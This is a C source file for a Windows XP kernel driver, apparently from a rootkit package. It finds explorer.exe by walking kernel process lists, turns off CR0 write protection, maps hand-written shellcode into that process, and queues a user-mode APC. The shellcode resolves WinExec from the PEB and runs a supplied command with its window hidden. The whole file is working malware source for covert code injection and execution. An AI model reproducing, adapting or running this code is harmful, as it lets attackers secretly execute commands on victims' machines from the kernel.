www.pudn.com > uay_source.rar > exec.c


/// 
//	uty@uaty 
/// 
#include  
 
#ifdef DBG 
#define u_DbgPrint(_x_)		\ 
			DbgPrint _x_; 
#else 
#define	u_DbgPrint(_x_)  
#endif 
 
//-------------------------------------------------------------------- 
typedef enum _KAPC_ENVIRONMENT{ 
    OriginalApcEnvironment, 
	AttachedApcEnvironment, 
	CurrentApcEnvironment 
}KAPC_ENVIRONMENT; 
 
typedef struct _KAPC_STATE{ 
	LIST_ENTRY	ApcListHead[2]; 
	PEPROCESS	Process; 
	UCHAR		KernelApcInProgress; 
	UCHAR		KernelApcPending; 
	UCHAR		UserApcPending; 
}KAPC_STATE,*PKAPC_STATE; 
 
//-------------------------------------------------------------------- 
NTSTATUS 
uSetTheApc_Exec( 
	ULONG			process, 
	ULONG			threAd, 
	ULONG			MAppedAddress, 
	PKEVENT			pEvent, 
	PCHAR			CmdLine 
	); 
 
VOID  
WorkThreAd_Exec( 
	IN PVOID pContext 
	); 
 
VOID 
KernelApcCAllBAck_Exec( 
	PKAPC Apc, 
	PKNORMAL_ROUTINE *NormalRoutine, 
	PVOID *NormalContext, 
	PVOID *SystemArgument1, 
	PVOID *SystemArgument2 
	); 
 
VOID 
OnUnloAd( 
	IN PDRIVER_OBJECT DriverObject 
	); 
 
BOOLEAN 
find_threAd_Exec( 
	OUT	ULONG	*process, 
	OUT	ULONG	*threAd 
	); 
 
UserExec( 
	PCHAR	CmdLine, 
	PVOID	unused1, 
	PVOID	unused2 
	); 
 
UserExec_end( 
	VOID 
	); 
 
BOOLEAN 
CheckVersion_Exec( 
	VOID 
	); 
 
/* Function prototypes for APCs */ 
VOID 
KeInitializeApc( 
	PKAPC Apc, 
	PKTHREAD Thread, 
	CCHAR ApcStateIndex, 
	PKKERNEL_ROUTINE KernelRoutine, 
	PKRUNDOWN_ROUTINE RundownRoutine, 
	PKNORMAL_ROUTINE NormalRoutine, 
	KPROCESSOR_MODE ApcMode, 
	PVOID NormalContext 
	); 
 
BOOLEAN 
KeInsertQueueApc( 
	PKAPC Apc, 
	PVOID SystemArgument1, 
	PVOID SystemArgument2, 
	UCHAR unknown 
	); 
 
 
/* Function prototypes for AttAch process */ 
NTKERNELAPI VOID  
KeStackAttachProcess( 
		IN PEPROCESS Process, 
		OUT PKAPC_STATE ApcState 
		); 
 
NTKERNELAPI VOID 
KeUnstackDetachProcess( 
	IN PKAPC_STATE ApcState 
	); 
 
//-------------------------------------------------------------------- 
//AlreAdy defined in wget.c 
static ULONG		THREADLISTHEAD_OFFSET; 
static ULONG		THREADLISTENTRY_OFFSET; 
static ULONG		IMAGEFILENAME_OFFSET; 
static ULONG		ACTIVEPROCESSLINKS_OFFSET; 
static ULONG		USERAPCPENDING_OFFSET; 
static ULONG		TCB_TEB_OFFSET; 
 
BOOLEAN 
KExec( 
	PCHAR	CmdLine 
	) 
{ 
	HANDLE				hThreAd = NULL; 
	NTSTATUS			dwStAtus; 
	if(strlen(CmdLine) > 99){		//one byte for '\0' 
		DbgPrint("CmdLine is too long,At most 100 bytes\n"); 
		return FALSE; 
	} 
 
	if(FALSE == CheckVersion_Exec()){ 
		DbgPrint("os version not supported\n");		 
		return FALSE; 
	} 
 
	dwStAtus = PsCreateSystemThread(&hThreAd, 
									(ACCESS_MASK)0, 
									NULL, 
									(HANDLE)0, 
									NULL, 
									WorkThreAd_Exec, 
									CmdLine 
									); 
									 
	if (!NT_SUCCESS(dwStAtus)){ 
		DbgPrint("error when creAte the threAd\n"); 
		return FALSE; 
	} 
	return TRUE; 
} 
//-------------------------------------------------------------------- 
BOOLEAN 
CheckVersion_Exec( 
	VOID 
	) 
{ 
	RTL_OSVERSIONINFOEXW	osversion = {0}; 
	osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW); 
	 
	RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion); 
	u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion)); 
	u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion)); 
	u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber)); 
	u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor)); 
	u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor)); 
 
	if(		(osversion.dwMajorVersion == 5)  
		&&	(osversion.dwMinorVersion == 1) 
		&&	(osversion.wServicePackMajor == 1)  
		//&&	(osversion.wServicePackMinor == 0) 
		) 
	{ 
		THREADLISTHEAD_OFFSET			= 0x190; 
		THREADLISTENTRY_OFFSET			= 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works; 
		IMAGEFILENAME_OFFSET			= 0x174; 
		ACTIVEPROCESSLINKS_OFFSET		= 0x88; 
		USERAPCPENDING_OFFSET			= 0x4A; 
		TCB_TEB_OFFSET					= 0x20; 
		return TRUE; 
	} 
	else if(		(osversion.dwMajorVersion == 5)  
		&&	(osversion.dwMinorVersion == 1) 
		&&	(osversion.wServicePackMajor == 2)  
		//&&	(osversion.wServicePackMinor == 0) 
		) 
	{ 
		THREADLISTHEAD_OFFSET			= 0x190; 
		THREADLISTENTRY_OFFSET			= 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works; 
		IMAGEFILENAME_OFFSET			= 0x174; 
		ACTIVEPROCESSLINKS_OFFSET		= 0x88; 
		USERAPCPENDING_OFFSET			= 0x4A; 
		TCB_TEB_OFFSET					= 0x20; 
		return TRUE; 
	} 
	return FALSE; 
} 
//-------------------------------------------------------------------- 
//PMDL	pMdl = NULL; 
VOID 
WorkThreAd_Exec( 
	IN PVOID pContext 
	) 
{ 
	ULONG			process,threAd; 
	PKEVENT			pEvent = NULL; 
	PMDL			pMdl = NULL; 
	PVOID			MAppedAddress = NULL; 
	ULONG			size; 
	KAPC_STATE		ApcStAte; 
	PCHAR			CmdLine; 
 
	CmdLine = (PCHAR)pContext; 
	if (!find_threAd_Exec(&process,&threAd)){ 
		DbgPrint("cAnnot find the right threAd\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT)); 
	if(!pEvent){ 
		DbgPrint("ExAllocatePool(pEvent) fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
 
	_asm  
	{  
		CLI //dissable interrupt  
		MOV EAX, CR0 //move CR0 register into EAX  
		AND EAX, NOT 10000H //disable WP bit  
		MOV CR0, EAX //write register back  
	} 
	memcpy((UCHAR*)UserExec_end,CmdLine,strlen(CmdLine)); 
	memset((UCHAR*)((ULONG)UserExec_end+strlen(CmdLine)),0,1); 
	_asm  
	{  
		MOV EAX, CR0 //move CR0 register into EAX  
		OR EAX, 10000H //enable WP bit  
		MOV CR0, EAX //write register back  
		STI //enable interrupt  
	}  
 
	size = (UCHAR*)UserExec_end - (UCHAR*)UserExec + 100;//最多100个字节的 
	u_DbgPrint(("size: %d\n",size)); 
	pMdl = IoAllocateMdl( 
				UserExec, 
				size, 
				FALSE, 
				FALSE, 
				NULL 
				); 
	if(!pMdl){ 
		ExFreePool (pEvent);  
		DbgPrint("IoAllocateMdl fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	__try{ 
		MmProbeAndLockPages( 
			pMdl, 
			KernelMode, 
			IoWriteAccess 
			); 
	} 
	__except(EXCEPTION_EXECUTE_HANDLER){ 
		IoFreeMdl(pMdl); 
		ExFreePool(pEvent); 
		DbgPrint("MmProbeAndLockPAges fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	u_DbgPrint(("process 0x%x\n",process)); 
	KeStackAttachProcess((PEPROCESS)process,&ApcStAte); 
	__try{ 
		MAppedAddress = MmMapLockedPagesSpecifyCache( 
							pMdl, 
							UserMode, 
							MmCached, 
							NULL, 
							FALSE, 
							NormalPagePriority 
							); 
	} 
	__except(EXCEPTION_EXECUTE_HANDLER){ 
		MmUnlockPages(pMdl); 
		IoFreeMdl(pMdl); 
		ExFreePool(pEvent); 
		DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
	u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress)); 
	if (!MAppedAddress){ 
		KeUnstackDetachProcess(&ApcStAte); 
		MmUnlockPages(pMdl); 
		IoFreeMdl(pMdl); 
		ExFreePool(pEvent); 
		DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n"); 
		PsTerminateSystemThread(STATUS_SUCCESS); 
	} 
 
	//reuse ,freed in APC->KernelRoutine 
	CmdLine			= (PCHAR)((ULONG)MAppedAddress + (ULONG)((UCHAR*)UserExec_end - (UCHAR*)UserExec)); 
	 
	KeUnstackDetachProcess(&ApcStAte); 
	KeInitializeEvent(pEvent,NotificationEvent,FALSE); 
 
	uSetTheApc_Exec(process,threAd,(ULONG)MAppedAddress,pEvent,CmdLine); 
 
	KeWaitForSingleObject( 
		pEvent, 
		Executive, 
		KernelMode, 
		FALSE, 
		NULL 
		); 
	u_DbgPrint(("ok free pEvent pMdl now\n")); 
	ExFreePool(pEvent); 
	MmUnlockPages(pMdl); 
	IoFreeMdl(pMdl); 
	 
 
	PsTerminateSystemThread(STATUS_SUCCESS); 
	DbgPrint("Never be here \n"); 
} 
//-------------------------------------------------------------------- 
NTSTATUS 
uSetTheApc_Exec( 
	ULONG			process, 
	ULONG			threAd, 
	ULONG			MAppedAddress, 
	PKEVENT			pEvent, 
	PCHAR			CmdLine 
	) 
{ 
	NTSTATUS		dwStAtus = STATUS_SUCCESS; 
	PKAPC			pkApc; 
	BOOLEAN			bBool; 
 
 
	*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1;   ////////////////////////////////////////////// 
	//*((unsigned char *)threAd+0x164)=1;  //both of them works :> 
	pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC)); 
	if (pkApc == NULL){ 
		DbgPrint("error:ExAllocAtePool\n"); 
		return STATUS_INSUFFICIENT_RESOURCES; 
	} 
	KeInitializeApc( 
		pkApc, 
		(PKTHREAD)threAd, 
		OriginalApcEnvironment, 
		(PKKERNEL_ROUTINE)KernelApcCAllBAck_Exec, 
		NULL, 
		(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck, 
		UserMode, 
		(PVOID)CmdLine 
		); 
	bBool = KeInsertQueueApc(pkApc,pEvent,0,0);		//ticky 
	if(bBool == FALSE){ 
		DbgPrint("error:KeInsertQueueApc\n"); 
	} 
 
	return STATUS_SUCCESS; 
} 
//-------------------------------------------------------------------- 
VOID 
KernelApcCAllBAck_Exec( 
	PKAPC Apc,  
	PKNORMAL_ROUTINE *NormAlRoutine, 
	IN OUT PVOID *NormAlContext, 
	IN OUT PVOID *SystemArgument1, 
	IN OUT PVOID *SystemArgument2 
	) 
{ 
	PKEVENT			pEvent; 
	//PCHAR			CmdLine; 
 
	u_DbgPrint(("NormAlContext: 0x%x\n",(ULONG)*NormAlContext)); 
	pEvent	= (PKEVENT)*SystemArgument1; 
	KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE); 
	//CmdLine	= (PWGETPARA)*NormAlContext; 
	//*SystemArgument1	= (PVOID)pPArA->szFileNAme; 
	//*SystemArgument2	= (PVOID)pPArA->ulType; 
	//*NormAlContext		= (PVOID)pPArA->szURL; 
	//u_DbgPrint(("SystemArgument1: 0x%x\n",(ULONG)*SystemArgument1)); 
	//u_DbgPrint(("SystemArgument2: 0x%x\n",(ULONG)*SystemArgument2)); 
	//ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox 
 
	//u_DbgPrint(("Freeing APC Object\n")); 
	ExFreePool(Apc);    // free the kernel memory 
} 
//-------------------------------------------------------------------- 
BOOLEAN 
find_threAd_Exec( 
	OUT	ULONG	*process, 
	OUT	ULONG	*threAd 
	) 
{ 
	ULONG			eproc; 
	ULONG			begin_proc; 
	ULONG			ethreAd; 
	ULONG			begin_threAd; 
 
	PLIST_ENTRY		plist_Active_procs; 
	PLIST_ENTRY		plist_threAd; 
 
/* 
#define IS_SYSTEM_THREAD(thread)                                    \ 
            (((thread)->Tcb.Teb == NULL) ||                         \ 
            (IS_SYSTEM_ADDRESS((thread)->Tcb.Teb))) 
			*/ 
 
	eproc		= (ULONG)PsGetCurrentProcess(); 
	begin_proc	= eproc; 
	while(1){ 
		u_DbgPrint(("%s\n",(CHAR*)(eproc + IMAGEFILENAME_OFFSET))); 
		if (0 == _stricmp((CHAR*)(eproc + IMAGEFILENAME_OFFSET),"explorer.exe")){ 
			break; 
		} 
		else{ 
			plist_Active_procs = (LIST_ENTRY*)(eproc + ACTIVEPROCESSLINKS_OFFSET); 
			eproc = (ULONG) plist_Active_procs->Flink; 
			eproc = eproc - ACTIVEPROCESSLINKS_OFFSET; 
			if(eproc == begin_proc) return FALSE; 
		} 
	} 
	plist_threAd	= (LIST_ENTRY*)(eproc + THREADLISTHEAD_OFFSET); 
	ethreAd			= (ULONG)plist_threAd->Flink; 
	ethreAd			= ethreAd - THREADLISTENTRY_OFFSET; 
	u_DbgPrint(("threAd: 0x%x\n",ethreAd)); 
 
	begin_threAd	= ethreAd; 
	while(1){ 
		//if !IS_SYSTEM_THREAD(threAd) 
		 
 
		u_DbgPrint(("(*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET): 0x%x\n",*(ULONG*)((CHAR*)ethreAd+TCB_TEB_OFFSET))); 
		if( (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) != 0)	&& 
            (*(ULONG*)((ULONG)ethreAd+TCB_TEB_OFFSET) <= 0x80000000 ) 
			){ 
			break; 
		} 
		else{ 
			plist_threAd = (LIST_ENTRY*)(ethreAd + THREADLISTENTRY_OFFSET); 
			ethreAd	= (ULONG)plist_threAd->Flink; 
			ethreAd = ethreAd - THREADLISTENTRY_OFFSET; 
			u_DbgPrint(("ethreAd: 0x%x\n",ethreAd)); 
			if(ethreAd == begin_threAd) return FALSE; 
		} 
	} 
	*process	= eproc; 
	*threAd		= ethreAd; 
	return TRUE; 
} 
//-------------------------------------------------------------------- 
__declspec(naked) 
UserExec( 
	PCHAR	CmdLine, 
	PVOID	unused1, 
	PVOID	unused2 
	) 
{ 
	__asm{ 
		push	ebp 
		mov		ebp, esp 
	} 
	__asm{ 
		pushad 
		sub		esp, 20 //存放得到的函数地址 
		jmp		end 
             
start: 
        pop		edx                    // 指令表起始地址存放在  esp -> edx 
 
		push	ebp//u 保存 下面这段程序用到了ebp 
 
        // ===== 从 PEB 中取得KERNEL32.DLL的起始地址 ===== 
        // 
        // 输入: 
        // edx => 指令表起始地址 (不需要) 
        // 
        // 输出: 
        // eax => kernel32.dll起始地址 
        // edx => 指令表起始地址 
 
        mov		eax, fs:0x30            // PEB  
        mov		eax, [eax + 0x0c]       // PROCESS_MODULE_INFO 
        mov		esi, [eax + 0x1c]		// InInitOrder.flink 
        lodsd 
        mov		eax, [eax+8] 
 
        // ========== 定位GetProcAddress的地址 ========== 
        // 
        // 输入: 
        // eax => kernel32.dll起始地址 
        // edx => 指令表起始地址 
        // 
        // 输出: 
        // ebx => kernel32.dll起始地址 
        // eax => GetProcAddress地址 
        // edx => 指令表起始地址 
 
        mov		ebx, eax							// 取kernel32.dll的起始地址 
        mov		esi, dword ptr [ebx+0x3C]			//u 在e_lfanew中得到pe heAder 
        mov		esi, dword ptr [esi+ebx+0x78]		//u export directory rvA 
        add     esi, ebx					 
        mov		edi, dword ptr [esi+0x20]			//u struct _IMAGE_EXPORT_DIRECTORY 中AddressOfNames; // RVA from base of image 
        add		edi, ebx 
        mov		ecx, dword ptr [esi+0x14]			//u AddressOfFunctions; // RVA from base of image 
        xor		ebp, ebp 
        push    esi 
         
search_GetProcAddress: 
        push    edi 
		push    ecx 
		mov		edi,dword ptr [edi] 
		add		edi,ebx								// 把输出函数名表起始地址存人edi 
		mov		esi,edx								// 指令表起始地址存入esi 
		//mov    ecx,0Eh							// 函数getprocAddress长度为0Eh 
		push    0xE 
		pop		ecx 
		repe    cmps byte ptr [esi],byte ptr [edi] 
        je		search_GetProcAddress_ok 
         
        pop		ecx 
        pop		edi 
        add		edi,4  /// 
        inc		ebp 
        loop	search_GetProcAddress 
 
search_GetProcAddress_ok: 
        pop		ecx    
        pop		edi 
        pop		esi 
        mov		ecx, ebp 
        mov		eax, dword ptr [esi+24h]			//u AddressOfNameOrdinals; // RVA from base of image 
        add		eax, ebx 
        shl		ecx, 1 
        add		eax, ecx 
        xor		ecx, ecx 
        mov		cx,  word ptr [eax] 
        mov		eax, dword ptr [esi+1Ch]			//AddressOfFunctions; // RVA from base of image 
        add		eax, ebx 
        shl		ecx, 2 
        add		eax, ecx 
        mov		eax, dword ptr [eax] 
        add		eax, ebx 
		 
 
		pop		ebp//u 保存 
//-------------------------------------------------------------------- 
 
		// ============ 调用函数解决api地址 ============ 
        // 
        // 输入: 
        // ebx =>kernel32.dll起始地址 
        // eax =>GetProcAddress地址 
        // edx =>指令表起始地址 
        // 
        // 输出: 
        // edi =>函数地址base addr 
        // esi =>指令表当前位置 
        // edx =>GetProcAddress 地址 
 
        mov		edi,edx 
        mov		esi,edi 
        add		esi,0xE						// 0xE 跳过1个字符串"GetProcAddress" 
         
        // ============ 解决kernel32.dll中的函数地址 ============ 
        mov		edx,eax						// 把GetProcAddress 地址存放在edx     
        push    0x1							// 需要解决的函数地址的个数 硬编码可以节省两个字节 
        pop		ecx 
		mov		edi, esp					///////// get some spAce to edi 
        call    locator_api_addr	 
		 
 
		push	0			//SW_HIDE 
		push	CmdLine 
		call	dword ptr [edi-4] 
		jmp		end_func 
 
//-------------------------------------------------------------------- 
		// ============ 解决api地址的函数 ============ 
        // 
        // 输入参数: 
        // ecx 函数个数 
        // edx GetProcAddress 地址 
        // ebx 输出函数的dll起始地址 
        // esi 函数名表起始地址 
        // edi 保存函数地址的起始地址 
 
locator_api_addr: 
         
locator_space: 
        xor			eax, eax 
        lodsb 
        test		eax, eax                // 寻找函数名之间的空格x00 
        jne			locator_space 
 
        push		ecx 
        push		edx 
 
        push		esi                    // 函数名 
        push		ebx                    // 输出函数的dll起始地址 
        call		edx 
        pop			edx 
        pop			ecx 
        stos		dword ptr [edi] 
        loop		locator_space 
        xor			eax, eax 
        ret 
//-------------------------------------------------------------------- 
 
        // ==================  结束调用 ==================== 
end: 
        call    start 
		__emit 'G' 
		__emit 'e' 
		__emit 't' 
		__emit 'P' 
		__emit 'r' 
		__emit 'o' 
		__emit 'c' 
		__emit 'A' 
		__emit 'd' 
		__emit 'd' 
		__emit 'r' 
		__emit 'e' 
		__emit 's' 
		__emit 's' 
		__emit 0 
		__emit 'W' 
		__emit 'i' 
		__emit 'n' 
		__emit 'E' 
		__emit 'x' 
		__emit 'e' 
		__emit 'c' 
		__emit 0 
 
end_func: 
		add esp,20 
		popad 
	} 
	__asm{ 
		mov esp,ebp 
		pop ebp 
		ret			//don't forget this :> 
	} 
} 
//-------------------------------------------------------------------- 
__declspec(naked) UserExec_end(VOID) 
{ 
	__asm{ 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 
		__emit 0 //100 
	} 
 
 
} 
//--------------------------------------------------------------------